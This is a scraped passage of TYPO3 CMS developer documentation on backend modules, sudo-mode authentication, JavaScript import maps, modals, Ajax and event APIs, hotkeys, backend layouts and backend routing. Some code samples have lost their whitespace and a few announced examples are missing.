Cleans up all module data, which are defined in
the given allowed data list. Usually called with
$MOD_MENU in a controller with module menu.
toArray()
Returns the module data as
array.
In case a controller needs to store changed module data, this can still be done
using
$backendUser->pushModuleData('my_module', $this->moduleData->toArray());.
Note
It is possible to store and retrieve arbitrary module data. The
definition of
moduleData in the module registration only defines,
which properties can be overwritten in a request (with
GET /
POST).
To restrict the values of module data properties, the given
ModuleData
object can be cleaned, for example, in a controller:
If
ModuleData contains
property, the value is checked
against the
$allowedValues list. If the current value is valid,
nothing happens. Otherwise the value is either changed to the default
or if this value is also not allowed, to the first allowed value.
ModuleInterface
The registered backend modules are stored as objects in a registry and can be
fetched using the \TYPO3\CMS\Backend\Module\ModuleProvider.
All module objects implement the
\TYPO3\CMS\Backend\Module\ModuleInterface .
The
ModuleInterface basically provides getters for the options
defined in the module registration and additionally provides methods for
relation handling (main modules and sub modules).
The internal name of the module, used for referencing in permissions etc
Returns
string
getPath()
Return the main route path
Returns
string
getIconIdentifier()
The icon identifier for the module
Returns
string
getTitle()
The title of the module, used in the menu
Returns
string
getDescription()
A longer description, common for the "About" section with a long explanation
Returns
string
getShortDescription()
A shorter description, used when hovering over a module in the menu as title attribute
Returns
string
isStandalone()
Useful for main modules that are also "clickable" such as the dashboard module
Returns
bool
getComponent()
Returns the view component responsible for rendering the module (iFrame or name of the web component)
Returns
string
getNavigationComponent()
The web component to be rendering the navigation area
Returns
string
getPosition()
The position of the module, such as [top] or [bottom] or [after => anotherModule] or [before => anotherModule]
Returns
array
getAppearance()
Returns a modules appearance options, e.g. used for module menu
Returns
array
getAccess()
Can be user (editor permissions), admin, or systemMaintainer
Returns
string
getWorkspaceAccess()
Can be "*" (= empty) or "live" or "offline"
Returns
string
getParentIdentifier()
The identifier of the parent module during registration
Returns
string
getParentModule()
Get the reference to the next upper menu item
Returns
?\TYPO3\CMS\Backend\Module\ModuleInterface
hasParentModule()
Can be checked if the module is a "main module"
Returns
bool
hasSubModule(string $identifier)
Checks whether this module has a submodule with the given identifier
param $identifier
the identifier
Returns
bool
hasSubModules()
Checks if this module has further submodules
Returns
bool
getSubModule(string $identifier)
Return a submodule given by its full identifier
param $identifier
the identifier
Returns
?\TYPO3\CMS\Backend\Module\ModuleInterface
getSubModules()
Return all direct descendants of this module
Returns
\ModuleInterface[]
getDefaultRouteOptions()
Returns module related route options - used for the router
Returns
array
getDefaultModuleData()
Get allowed and available module data properties and their default values.
Returns
array
getAliases()
Return a list of identifiers that are aliases to this module
Returns
array
ModuleProvider
The
ModuleProvider API allows extension authors to work with the
registered modules.
This API is the central point to retrieve modules, since it
automatically performs necessary access checks and prepares specific structures,
for example for the use in menus.
ModuleProvider API
classModuleProvider
Fully qualified name
\TYPO3\CMS\Backend\Module\ModuleProvider
This is the central point to retrieve modules from the ModuleRegistry, while
performing the necessary access checks, which ModuleRegistry does not deal with.
isModuleRegistered(string $identifier)
Simple wrapper for the registry, which just checks if a
module is registered. Does NOT perform any access checks.
Return the requested (main) module if exist and allowed, prepared
for menu generation or similar structured output (nested). Takes
TSConfig into account. Does not respect "appearance[renderInModuleMenu]".
Backend controllers should use ModuleTemplateFactory::create()
to create instances of a
\TYPO3\CMS\Backend\Template\ModuleTemplate .
API functions of the
ModuleTemplate can be used to add buttons to
the button bar. It also implements the
\TYPO3\CMS\Core\View\ViewInterface
so values can be assigned to it in the actions.
classModuleTemplate
Fully qualified name
\TYPO3\CMS\Backend\Template\ModuleTemplate
A class taking care of the "outer" HTML of a module, especially
the doc header and other related parts.
assign(string $key, ?mixed $value)
Add a variable to the view data collection.
param $key
the key
param $value
the value
Returns
self
assignMultiple(array $values)
Add multiple variables to the view data collection.
param $values
the values
Returns
self
render(string $templateFileName = '')
Render the module.
param $templateFileName
the templateFileName, default: ''
Returns
string
renderResponse(string $templateFileName = '')
Render the module and create an HTML 200 response from it. This is a
lazy shortcut so controllers don't need to take care of this in the backend.
param $templateFileName
the templateFileName, default: ''
Returns
\Psr\Http\Message\ResponseInterface
setBodyTag(string $bodyTag)
Set to something like '<body id="foo">' when a special body tag is needed.
param $bodyTag
the bodyTag
Returns
self
setTitle(string $title, string $context = '')
Title string of the module: "My module · Edit view"
param $title
the title
param $context
the context, default: ''
Returns
self
getDocHeaderComponent()
Get the DocHeader. Can be used in controllers to add custom
buttons / menus / ... to the doc header.
ModuleTemplate by default uses queue 'core.template.flashMessages'. Modules
may want to maintain an own queue. Use this method to render flash messages
of a non-default queue at the default position in module HTML output. Call
this method before adding single messages with addFlashMessage().
param $flashMessageQueue
the flashMessageQueue
Returns
self
setUiBlock(bool $uiBlock)
UI block is a spinner shown during browser rendering phase of the module,
automatically removed when rendering finished. This is done by default,
but the UI block can be turned off when needed for whatever reason.
In many backend modules all actions should have the same module header.
So it is useful to initialize the backend module template in a function commonly
used by all actions:
The backend module of an extension can be configured via TypoScript.
The configuration is done
in
module.tx_<lowercaseextensionname>_<lowercasepluginname> or
in
module.tx_<lowercaseextensionname>.
If the part
_<lowercasepluginname> is omitted, then the setting is used
for all backend modules of that extension.
Even in the backend the TypoScript setup is used. The
settings should be done globally and not changed on a per-page basis.
Therefore they are usually set in the file
EXT:my_extension/ext_typoscript_setup.typoscript.
When accessing modules in the Admin Tools via backend user interface,
currently logged in backend users have to confirm their user password again
in order to get access to the modules in this section.
As an alternative, it is also possible to use the install
tool password. This is done
in order to mitigate unintended modifications that might occur as result
of for example possible cross-site scripting vulnerabilities in the system.
Authentication in for sudo mode in extensions using the auth service
Albeit default local authentication mechanisms are working well, there are
side effects for 3rd party extensions that make use of these auth service
chains as well - such as multi-factor authentication or single sign-on handling.
As an alternative, it is possible to confirm actions using the Install Tool
password, instead of confirming with user's password (which might be handled
with separate remote services).
Services that extend authentication with custom additional factors (2FA/MFA)
are advised to intercept only valid login requests instead of all authUser
invocations.
<?phpnamespaceMyVendor\MyExtension\Authentication;
useTYPO3\CMS\Core\Authentication\AbstractAuthenticationService;
classMyAuthenticationServiceextendsAbstractAuthenticationService{
publicfunctionauthUser(array $user){
// only handle actual login requestsif (($this->login['status'] ?? '') !== 'login') {
// skip this service, hand over to next in chainreturn100;
}
// ...// usual processing for valid login requests// ...return0;
}
}
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Custom backend modules requiring the sudo mode
In general, the configuration for a particular route or module looks like this:
group (optional): if given, grants access to other objects of the same group
without having to verify sudo mode again for a the given lifetime. Example:
Admin Tool modules Maintainance and Settings are configured with the same
systemMaintainer group - having access to one (after sudo mode verification)
grants access to the other automatically.
lifetime: enum value of
\TYPO3\CMS\Backend\Security\SudoMode\Access\AccessLifetime ,
defining the lifetime of a sudo mode verification, afterwards users have to go through
the process again - cases are veryShort (5 minutes), short (10 minutes),
medium (15 minutes), long (30 minutes), veryLong (60 minutes)
All simplified classnames below are located in the namespace
\TYPO3\CMS\Backend\Security\SudoMode\Access).
The low-level request orchestration happens in the middleware
\TYPO3\CMS\Backend\Middleware\SudoModeInterceptor ,
markup rendering and payload processing in controller
\TYPO3\CMS\Backend\Controller\Security\SudoModeController .
A backend route is processed, that requires sudo mode for route URI /my/route
in
\TYPO3\CMS\Backend\Http\RouteDispatcher .
Using
AccessFactory
and
AccessStorage ,
the
\RouteDispatcher
tries to find a valid and not expired
AccessGrant item
for the specific
RouteAccessSubject('/my/route') aspect in the
current backend user session data.
In case no
AccessGrant can be
determined, a new
AccessClaim
is created for the specific
RouteAccessSubject
instance and temporarily persisted in the current user session data -
the claim also contains the originally requested route as
ServerRequestInstruction
(a simplified representation of a
\ServerRequestInterface).
Next, the user is redirected to the user interface for providing either
their own password, or the global install tool password as alternative.
Given, the password was correct, the
AccessClaim
is "converted" to an
AccessGrant ,
which is only valid for the specific subject (URI /my/route)
and for a limited lifetime.
JavaScript in TYPO3 backend
Some third-party JavaScript libraries are packaged with the TYPO3 source code.
The TYPO3 backend itself relies on quite a lot of JavaScript to do its job.
The topic of this chapter is to present how to use JavaScript properly
with TYPO3, in particular in the backend. It presents the most important
APIs in that regard.
ES6 modules may be used instead of AMD modules, both in backend and frontend context.
JavaScript node-js style path resolutions are managed by
import maps, which allow web
pages to control the behavior of JavaScript imports.
In November 2022 import maps are supported natively by Google Chrome,
a polyfill is available for Firefox and Safari and included by TYPO3 Core
and applied whenever an import map is emitted.
For security reasons, import map configuration is only emitted when the modules
are actually used, that means when a module has been added to the current
page response via
PageRenderer->loadJavaScriptModule() or
JavaScriptRenderer->addJavaScriptModuleInstruction().
Exposing all module configurations is possible via
JavaScriptRenderer->includeAllImports(), but that should only be
done in backend context for logged-in users to avoid disclosing installed
extensions to anonymous visitors.
Configuration
A simple configuration example for an extension that maps
the Public/JavaScript folder to an import prefix @vendor/my-extensions:
<?phpreturn [
// required import configurations of other extensions,// in case a module imports from another package'dependencies' => ['backend'],
'imports' => [
// recursive definiton, all *.js files in this folder are import-mapped// trailing slash is required per importmap-specification'@vendor/my-extension/' => 'EXT:my_extension/Resources/Public/JavaScript/',
],
];
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Complex configuration example containing recursive-lookup exclusions,
third-party library definitions and overwrites:
<?phpreturn [
'dependencies' => ['core', 'backend'],
'imports' => [
'@vendor/my-extension/' => [
'path' => 'EXT:my_extension/Resources/Public/JavaScript/',
// Exclude files of the following folders from being import-mapped'exclude' => [
'EXT:my_extension/Resources/Public/JavaScript/Contrib/',
'EXT:my_extension/Resources/Public/JavaScript/Overrides/',
],
],
// Adding a third party package'thirdpartypkg' => 'EXT:my_extension/Resources/Public/JavaScript/Contrib/thidpartypkg/index.js',
'thidpartypkg/' => 'EXT:my_extension/Resources/Public/JavaScript/Contrib/thirdpartypkg/',
// Overriding a file from another package'@typo3/backend/modal.js' => 'EXT:my_extension/Resources/Public/JavaScript/Overrides/BackendModal.js',
],
];
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Loading ES6
A module can be added to the current page response either via
PageRenderer or as
JavaScriptModuleInstruction via
JavaScriptRenderer:
No ES6 JavaScript files are created directly in the TYPO3 Core. JavaScript
is created as TypeScript module which is then converted to ES6 JavaScript
during the build process. However, TypeScript and ES6 are quite similar, you
can therefore look into those files for reference. The TypeScript files can be
found on GitHub at
Build/Sources/TypeScript.
For examples of an ES6 JavaScript file have a look at the JavaScript example in
the LinkHandler Tutorial or
the example in the Notification API.
In the TYPO3 Core usage of jQuery is eliminated step-by-step as the necessary
functionality is provided by native JavaScript nowadays.
If you still have to use jQuery in your third-party extension, include it
with the following statement:
import $ from'jquery';
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Add JavaScript modules to import map in backend form
The JavaScript module import map is static and only generated and
loaded in the first request to a document. All possible future
modules requested in later Ajax calls need to be registered already
in the first initial request.
The tag
backend.form is used to identify
JavaScript modules that can be used within backend forms. This
ensures that the import maps are available for these modules
even if the element is not displayed directly.
A typical use case for this is an InlineRelationRecord where the
CKEditor is not part of the main record but needs to be loaded for
the child record.
The
${...} literal used in template tags can basically contain any
JavaScript instruction - as long as their result can be casted to string
again or is of type lit-html.TemplateResult. This allows to
make use of custom conditions as well as iterations:
The result won't look much different than the first example - however the
custom attribute
@click will be transformed into an according event
listener bound to the element where it has been declared.
Custom HTML elements
A web component based on the W3C custom elements ("web-components_") specification
can be implemented using lit-element.
import {LitElement, html, customElement, property} from'lit-element';
@customElement('my-element')
class MyElement extends LitElement {
// Declare observed properties@property()
value: string = 'awesome';
// Avoid Shadow DOM so global styles apply to the element contents
createRenderRoot(): Element|ShadowRoot {
returnthis;
}
// Define the element's template
render() {
return html`<p>Hello ${this.value}!</p>`;
}
}
Actions that require a user's attention must be visualized by modal windows.
TYPO3 provides an API as basis to create modal windows with severity
representation. For better UX, if actions (buttons) are attached to the modal,
one button must be a positive action. This button should get a btnClass
to highlight it.
Modals should be used rarely and only for confirmations. For information that
does not require a confirmation
the Notification API (flash message) should be used.
For complex content, like forms or a lot of information, use normal pages.
A basic modal (without anything special) can be created this way:
TYPO3.Modal.confirm('The title of the modal', 'This the the body of the modal');
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A modal as warning with button:
TYPO3.Modal.confirm('Warning', 'You may break the internet!', TYPO3.Severity.warning, [
{
text: 'Break it',
active: true,
trigger: function() {
// break the net
}
}, {
text: 'Abort!',
trigger: function() {
TYPO3.Modal.dismiss();
}
}
]);
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A modal as warning:
TYPO3.Modal.confirm('Warning', 'You may break the internet!', TYPO3.Severity.warning);
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Action buttons in modals created by the
TYPO3/CMS/Backend/Modal module may
make use of
TYPO3/CMS/Backend/ActionButton/ImmediateAction and
TYPO3/CMS/Backend/ActionButton/DeferredAction.
As an alternative to the existing
trigger option, the option
action may be used with an instance of the previously mentioned modules.
Modal.confirm('Header', 'Some content', Severity.error, [
{
text: 'Based on trigger()',
trigger: function () {
console.log('Vintage!');
}
},
{
text: 'Based on action',
action: new DeferredAction(() => {
returnnew AjaxRequest('/any/endpoint').post({});
})
}
]);
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Activating any action disables all buttons in the modal. Once the action is
done, the modal disappears automatically.
Buttons of the type
DeferredAction render a spinner on activation
into the button.
A modal with static backdrop:
import Modal from'@typo3/backend/modal.js';
Modal.advanced({
title: 'Hello',
content: 'This modal is not closable via clicking the backdrop.',
size: Modal.sizes.small,
staticBackdrop: true
});
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Templates, using the HTML class
.t3js-modal-trigger to initialize
a modal dialog are also able to use the new option by adding the
data-static-backdrop attribute to the corresponding element.
<buttonclass="btn btn-default t3js-modal-trigger"data-title="Hello"data-bs-content="This modal is not closable via clicking the backdrop."data-static-backdrop>
Open modal
</button>
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Multi-step wizard
The JavaScript module
MultiStepWizard can be used to show a modal
multi-step wizard with the following features:
Navigation to previous / next steps
Steps may have descriptive labels like "Start" or "Finish!"
Steps may require actions before becoming available.
Add Slide
You have to define at least one slide
MultiStepWizard.addSlide().
The title of the slide. Will be shown as header of the slide.
content
content
Type
string|JQuery|Element|DocumentFragment
Required
true
The content of the slide. If string any HTML will be escaped. To
prevent that, chose one of the other allowed types:
JQuery:
$(`<div>Your HTML content</div>`);
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Element:
Object.assign(document.createElement('div'), {
innerHTML: 'Your HTML content'
});
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DocumentFragment:
document.createRange().createContextualFragment("<div>Your HTML content</div>");
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severity
severity
Type
SeverityEnum
Required
true
Set severity color for sheet. Color will only affect title bar and
prev- and next-buttons.
progressBarTitle
progressBarTitle
Type
string
Required
true
Set a title for the progress bar. The progress bar will only be shown
below the content section of the slide, if you have defined at least
two or more slides.
callback
callback
Type
SlideCallback
Required
true
A JavaScript callback function which will be called after the slide was
rendered completely.
Show / Hide Wizard
After defining some slides you can show
MultiStepWizard.show() and hide
MultiStepWizard.dismiss() the multi-step wizard.
Lock/Unlock steps
Switching to the next or previous slides is called a step. The buttons
to navigate to the slides are deactivated by default. Please use following
methods to lock or unlock them:
This JavaScript snippet will create a new multi-step wizard with just one
sheet. As it used
SeverityEnum.warning the title and buttons
will be colored in yellow.
import {SeverityEnum} from"@typo3/backend/enum/severity.js"import MultiStepWizard from"@typo3/backend/multi-step-wizard.js"import $ from"jquery";
exportdefaultclassHelloWorldModule{
constructor(triggerHelloWorldWizardButtonClass) {
const buttons = document.querySelectorAll("." + triggerHelloWorldWizardButtonClass);
buttons.forEach((button) => {
button.addEventListener("click", () => {
MultiStepWizard.addSlide(
"UniqueHelloWorldIdentifier",
"Title of the Hello World example slide",
document.createRange().createContextualFragment("<div>Hello world</div>"),
SeverityEnum.warning,
"Step Hello World",
function ($slide) {
let $modal = $slide.closest(".modal");
let $nextButton = $modal.find(".modal-footer").find("button[name='next']");
MultiStepWizard.unlockNextStep();
$nextButton.off().on("click", function () {
// Process whatever you want from current slide, just before wizard will be closed or next slide// Close wizard
MultiStepWizard.dismiss();
// Go to next slide, if any// MultiStepWizard.setup.$carousel.carousel("next");
});
}
);
MultiStepWizard.show();
});
});
}
}
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To call the JavaScript from above you have to use the
JavaScriptModuleInstruction) technique.
In following snippet you see how to add a JavaScript module to field within
Form Engine:
The module
TYPO3/CMS/Core/DocumentService provides native JavaScript
functions to detect DOM ready-state returning a
Promise<Document>.
Internally the Promise is resolved when native
DOMContentLoaded event has
been emitted or when
document.readyState is defined already. It means
the initial HTML document has been completely loaded and parsed, without
waiting for stylesheets, images, and sub-frames to finish loading.
$(document).ready(() => {
// your application code
});
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Above jQuery code can be transformed into the following using
DocumentService:
TYPO3 ships a module acting as a wrapper for
sessionStorage. It
behaves similar to the
localStorage, except that the stored data is dropped
after the browser session has ended.
The module
TYPO3/CMS/Core/Storage/BrowserSession allows
to store data in the
sessionStorage.
The module is called
@typo3/backend/storage/abstract-client-storage,
implemented by:
@typo3/backend/storage/browser-session
@typo3/backend/storage/client
get(key)
Fetches the data behind the key.
getByPrefix('common-prefix-')
Obtains multiple items prefixed by a given key.
set(key, value)
Sets/overrides a key with any arbitrary content.
isset(key) (bool)
Checks if the key is in use.
unset(key)
Removes a key from the storage.
clear()
Empties all data inside the storage.
unsetByPrefix(prefix)
Empties all data inside the storage with their keys
starting with a prefix.
Ajax request
TYPO3 Core ships an API to send Ajax requests to the server. This API is based
on the fetch API, which is implemented in every modern browser (for
example, Chrome, Edge, Firefox, Safari).
Prepare a request
New in version 13.0
Native URL-related objects (
URL and
URLSearchParams) can be used.
To be able to send a request, the module
@typo3/core/ajax/ajax-request.js
must be imported. To prepare a request, create a new instance of
AjaxRequest per request and pass the URL as the constructor argument:
import AjaxRequest from"@typo3/core/ajax/ajax-request.js";
let url = 'https://example.org/my-endpoint';
// or:let url = new URL('https://example.org/my-endpoint');
let request = new AjaxRequest(url);
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The API offers a method
withQueryArguments() which allows to attach a query
string to the URL. This comes in handy, if the query string is programmatically
generated. The method returns a clone of the
AjaxRequest object. It is
possible to pass either strings, arrays or objects as an argument.
The API presets the request configuration with
{credentials: 'same-origin', signal: AbortController.signal}.
The body of the request is automatically converted to a FormData object, if
the submitted payload is an object. To send a JSON-encoded object instead, set
the Content-Type header to application/json. If the payload is a string, no
conversion will happen, but it is still recommended to set proper headers.
response is an object of type
AjaxResponse shipped by TYPO3
(
@typo3/core/ajax/ajax-response.js). The object is a simple wrapper for
the original Response object.
AjaxResponse exposes the following
methods which eases the handling of responses:
resolve()
Returns the correct response based on the received Content-Type header,
either plaintext or a JSON object.
Of course, a request may fail for various reasons. In such case, a second
function may be passed to
then(), which handles the exceptional case. The
function may receive a
AjaxResponse object which contains the original
response object.
import AjaxRequest from"@typo3/core/ajax/ajax-request.js";
let request = new AjaxRequest('https://example.org/my-endpoint');
const json = {foo: 'bar'};
let promise = request.post(json, {
headers: {
'Content-Type': 'application/json; charset=utf-8'
}
});
promise.then(asyncfunction (response) {
}, function (error) {
console.error(`The request failed with ${error.response.status}: ${error.response.statusText}`);
});
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Hint
The fetch API handles responses with faulty statuses like 404 or 500 still
as "successful", but sets the response's
ok field to
false. The
Ajax API converts such responses into errors for convenience reasons.
Abort a request
In some cases it might be necessary to abort a running request. The Ajax API has
you covered them, an instance of AbortController is attached to each request.
To abort the request, just call the
abort() method:
request.abort();
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Event API
The TYPO3 JavaScript Event API enables JavaScript developers to have a stable event listening
interface. The API takes care of common pitfalls like event delegation and clean
event unbinding.
Warning
When using
import statements, it is vital that you use the suffix
.js to any import statements, when you are in the scope of JavaScript/ES6.
Only when you create your code in TypeScript (using .ts suffix), you
need to omit the .js extension in
import statements.
See https://github.com/microsoft/TypeScript/issues/16577 for the reasoning of this.
Event Binding
Each event strategy (see below) has two ways to bind a listener to an event:
Direct Binding
The event listener is bound to the element that triggers the event. This is done
by using the method
bindTo(), which accepts any element,
document and
window.
import RegularEvent from'@typo3/core/event/regular-event.js';
new RegularEvent('click', function (e) {
// Do something
}).bindTo(document.querySelector('#my-element'));
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Event Delegation
The event listener is called if the event was triggered to any matching element
inside its bound element.
import RegularEvent from'@typo3/core/event/regular-event.js';
new RegularEvent('click', function (e) {
// Do something
}).delegateTo(document, 'a[data-action="toggle"]');
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The event listener is now called every time the element matching the selector
a[data-action="toggle"] within
document is clicked.
Release an event
Since each event is an object instance, it is sufficient to call
release() to
detach the event listener.
import RegularEvent from'@typo3/core/event/regular-event.js';
const clickEvent = new RegularEvent('click', function (e) {
// Do something
}).delegateTo(document, 'a[data-action="toggle"]');
// Do more stuff
clickEvent.release();
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Event strategies
The Event API brings several strategies to handle event listeners:
RegularEvent
The
RegularEvent attaches a simple event listener to an event and element
and has no further tweaks. This is the common use case for event handling.
import RegularEvent from'@typo3/core/event/regular-event.js';
new RegularEvent('click', function (e) {
e.preventDefault();
window.location.reload();
}).bindTo(document.querySelector('#my-element'));
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DebounceEvent
The
DebounceEvent is most suitable if an event is triggered quite often
but executing the event listener is called only after a certain wait time.
Arguments:
eventName (string) - the event to listen on
callback (function) - the event listener
wait (number) - the amount of milliseconds to wait before the event listener is called
Changed in version 13.0
The parameter
immediate has been removed. There is no direct migration
possible. An extension author may re-implement the removed behavior manually,
or use the ThrottleEvent module,
providing a similar behavior.
import DebounceEvent from'@typo3/core/event/debounce-event.js';
new DebounceEvent('mousewheel', function (e) {
console.log('Triggered once after 250ms!');
}, 250).bindTo(document);
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ThrottleEvent
Arguments:
eventName (string) - the event to listen on
callback (function) - the event listener
limit (number) - the amount of milliseconds to wait before the event listener is called
The
ThrottleEvent is similar to the
DebounceEvent. The important
difference is that the event listener is called after the configured wait time
during the overall event time.
If an event time is about 2000ms and the wait time is configured to be 100ms,
the event listener gets called up to 20 times in total (2000 / 100).
import ThrottleEvent from'@typo3/core/event/throttle-event.js';
new ThrottleEvent('mousewheel', function (e) {
console.log('Triggered every 100ms!');
}, 100).bindTo(document);
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RequestAnimationFrameEvent
The
RequestAnimationFrameEvent binds its execution to the browser's
RequestAnimationFrame API. It is suitable for event listeners that
manipulate the DOM.
import RequestAnimationFrameEvent from'@typo3/core/event/request-animation-frame-event.js';
new RequestAnimationFrameEvent('mousewheel', function (e) {
console.log('Triggered every 16ms (= 60 FPS)!');
});
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Hotkey API
New in version 13.0
TYPO3 provides the
@typo3/backend/hotkeys.js module that allows developers
to register custom keyboard shortcuts in the TYPO3 backend.
It is also possible and highly recommended to register hotkeys in a dedicated
scope to avoid conflicts with other hotkeys, perhaps registered by other
extensions.
The module provides an enum with common modifier keys: Ctrl, Meta,
Alt, and Shift), and also a public property describing the common
hotkey modifier based on the user's operating system: Cmd (Meta) on macOS,
Ctrl on anything else (this can be normalized via
Hotkeys.normalizedCtrlModifierKey. Using any modifier is optional, but highly
recommended.
Hint
Note that on macOS, using the
ModifierKeys.ALT to query a
pressed key needs you to listen on the key that results in using this
modifier. So, if you listen on:
instead. To make this work across different operating systems,
it would be recommended to listen on both variants with distinct
javascript callbacks executing the same action. Or, try avoiding
to bind to ModifierKeys.ALT altogether.
A hotkey is registered with the
register() method. The method takes three
arguments:
hotkey
An array defining the keys that must be pressed.
handler
A callback that is executed when the hotkey is invoked.
options
An object that configures a hotkey's behavior:
scope
The scope a hotkey is registered in.
Note
TYPO3-specific hotkeys may be registered in the reserved
all
scope. When invoking a hotkey from a different scope, the
all
scope is handled in any case at first.
allowOnEditables
If
false (default), handlers are not executed when an editable
element is focussed.
allowRepeat
If
false (default), handlers are not executed when the hotkey is
pressed for a long time.
bindElement
If given, an
aria-keyshortcuts attribute is added to the
element. This is recommended for accessibility reasons.
import Hotkeys, {ModifierKeys} from'@typo3/backend/hotkeys.js';
Hotkeys.register([Hotkeys.normalizedCtrlModifierKey, ModifierKeys.SHIFT, 'e'], keyboardEvent => {
console.log('Triggered on Ctrl/Cmd+Shift+E');
}, {
scope: 'my-extension/module',
bindElement: document.querySelector('.some-element')
});
// Get the currently active scopeconst currentScope = Hotkeys.getScope();
// Make use of registered scope
Hotkeys.setScope('my-extension/module');
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Navigation via JavaScript
Navigate to URL
Navigate to a URL once selected drop-down is changed:
$data refers to value of
data-navigate-value, $value to selected value,
$data=~s/$value/ replaces the literal ${value} with the selected value in
data-navigate-value.
Show info popup
Invoke the
TYPO3.InfoWindow.showItem module function to display details
for a given record:
<aclass="btn btn-default"href="#"data-dispatch-action="TYPO3.InfoWindow.showItem"data-dispatch-args-list="be_users,123"
>
Some text
</a>
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or (using JSON arguments)
<aclass="btn btn-default"href="#"data-dispatch-action="TYPO3.InfoWindow.showItem"data-dispatch-args="["tt_content",123]"
>
Some text
</a>
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Shows the info popup of database table
tt_content, having uid=123 in
the example above.
Checkboxes used to send a particular value when unchecked can be achieved by using
data-empty-value="0". If this attribute is omitted, an empty string '' is sent.
Submitting a form on change
<inputtype="checkbox"data-global-event="change"data-action-submit="$form"><!-- ... or (using CSS selector) ... --><inputtype="checkbox"data-global-event="change"data-action-submit="#formIdentifier">
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Submits a form once a value has been changed.
($form refers to the parent form element, using CSS selectors like #formIdentifier
is possible as well)
Ajax in the backend
An Ajax endpoint in the TYPO3 backend is usually implemented as a method in a
regular controller. The method receives a request object implementing the
\Psr\Http\Message\ServerRequestInterface , which allows to access all
aspects of the requests and returns an appropriate response in a normalized way.
This approach is standardized as PSR-7.
Create a controller
By convention, a controller is placed within the extension's Controller/
directory, optionally in a subdirectory. To have such controller, create a new
ExampleController in Classes/Controller/ExampleController.php
inside your extension.
The controller needs not that much logic right now. We create a method called
doSomethingAction() which will be our Ajax endpoint.
In its current state, the method does nothing yet. We can add a very generic
handling that exponentiates an incoming number by 2. The incoming value will be
passed as a query string argument named input.
The endpoint must be registered as route. Create a
file called Configuration/Backend/AjaxRoutes.php in your extension. The
file basically just returns an array of route definitions. Every route in this
file will be exposed to JavaScript automatically. Let us register our endpoint
now:
The naming of the key myextension_example_dosomething and path
/my-extension/example/do-something are up to you, but should contain the
extension name, controller name and action name to avoid potential conflicts
with other existing routes.
Attention
Flushing caches is mandatory after modifying any route definition.
Use in Ajax
Since the route is registered in AjaxRoutes.php it is exposed to
JavaScript now and stored in the global
TYPO3.settings.ajaxUrls object
identified by the used key in the registration. In this example it is
TYPO3.settings.ajaxUrls.myextension_example_dosomething.
Now you are free to use the endpoint in any of your Ajax calls. To complete this
example, we will ask the server to compute our input and write the result into
the console.
Backend layouts can be defined as database records or via page TSconfig.
Page TSconfig should be preferred as it can be stored in the file system and
be kept under version control.
Backend layout video
Benjamin Kott: How to implement frontend layouts in TYPO3 using backend layouts
Backend layout configuration
The backend layout to be used can be configurated for each page and/or a pages'
subpages in the Page properties > Appearance. Multiple backend
layouts are available if an
extension providing backend layouts is installed or
backend layouts have been
defined as records or page TSconfig.
Choose the backend layout in the page properties
The Info module gives an overview of the backend layouts configured or
inherited from a parent page at
Web > Info > Pagetree overview > Type: Layouts:
Overview of the backend layouts used
Backend layout definition
Backend layouts can be configured either as "backend layout" record in a sysfolder or as page TSconfig entry in
mod.web_layout.BackendLayouts. Each layout will be saved with a key. The "backend layout" records are
using their uid as a key, therefore layouts defined via page TSconfig should use a non-numeric string key. It is a good
practice to use a descriptive name as key.
The entries title and icon are being used to display the backend layout options in the page properties.
The overall grid size will be defined by
config.backend_layout.colCount and
rowCount.
Additional rows in the
rows array and additional columns in the each rows
columns section
will be ignored when they are greater than
rowCount or
colCount respectively.
Each column position can span several columns and or several rows. Each column position must have a distinct number
between 0 and n. It is best practice to always assign "0" to the main column if there is such a thing as a
main column. Multiple backend layouts that contain similar parts, i.e. header, footer, aside, ... should each have
assigned the same number within one project. This leads to a uniform position of the content, which makes it more clear
for further use.
For usage with the page-content data processor, an identifier string must
be assigned to each column. The default backend layout definition uses identifier = main for column 0.
Backend layout simple example
The following page TSconfig example creates a simple backend layout consisting of two rows and just one column.
The following page TSconfig example creates a 3x3 backend layout with 5 column position sections in total. The topmost
row (here called "header") spans all 3 columns. There is an "aside" spanning two rows on the right.
mod.web_layout.BackendLayouts {
exampleKey {
title = Example
icon = EXT:example_extension/Resources/Public/Images/BackendLayouts/default.gif
config {
backend_layout {
colCount = 3
rowCount = 3
rows {
1 {
columns {
1 {
identifier = header
name = Header
colspan = 3
colPos = 1
}
}
}
2 {
columns {
1 {
identifier = main
name = Main
colspan = 2
colPos = 0
}
2 {
identifier = aside
name = Aside
rowspan = 2
colPos = 2
}
}
}
3 {
columns {
1 {
identifier = left
name = Main Left
colPos = 5
}
2 {
identifier = right
name = Main Right
colPos = 6
}
}
}
}
}
}
}
}
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Output of a backend layout in the frontend
The backend layout to be used on a certain page gets determined either by the backend layout being chosen directly and
stored in the pages field "backend_layout" or by the field "backend_layout_next_level" of a parent page up the rootline.
To avoid complex TypoScript for integrators, the handling of backend layouts has
been simplified for the frontend.
To get the correct backend layout, the following TypoScript code can be used:
In many cases besides defining fixed backend layouts a more modular approach with the possibility of combining different
backend layouts and frontend layouts may be feasible. The extension
b13/container
integrates the grid layout concept also to regular content elements.
The extension
ichhabrecht/content-defender
offers advanced options to
the column positions i.e. allowed or disallowed content elements, a maximal number of content elements.
Backend routing
Each request to the backend is eventually executed by a controller.
A list of routes is defined which maps a given request to a controller
and an action.
Routes are defined inside extensions, in the files
<?phpuseTYPO3\CMS\Backend\Controller;
return [
// Login screen of the TYPO3 Backend'login' => [
'path' => '/login',
'access' => 'public',
'target' => Controller\LoginController::class . '::formAction',
],
// Main backend rendering setup (previously called backend.php) for the TYPO3 Backend'main' => [
'path' => '/main',
'referrer' => 'required,refresh-always',
'target' => Controller\BackendController::class . '::mainAction',
],
// ...
];
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So, a route file essentially returns an array containing route mappings. A route
is defined by a key, a path, a referrer and a target. The "public"
access
property indicates that no authentication is required for that action.
Note
The current route object is available as a route attribute in the PSR-7 request object of every
backend request. It is added through the PSR-15 middleware stack and can be
retrieved using
$request->getAttribute('route').
Backend routing and cross-site scripting
Public backend routes (those having option
'access' => 'public') do not
require any session token, but can be used to redirect to a route that requires
a session token internally. For this context, the backend user logged in must
have a valid session.
This scenario can lead to situations where an existing cross-site scripting
vulnerability (XSS) bypasses the mentioned session token, which can be
considered cross-site request forgery (CSRF). The difference in terminology is
that this scenario occurs on same-site requests and not cross-site - however,
potential security implications are still the same.
Backend routes can enforce the existence of an HTTP referrer header by adding a
referrer to routes to mitigate the described scenario.
Values for
referrer are declared as a comma-separated list:
required enforces existence of HTTP Referer header that has to match
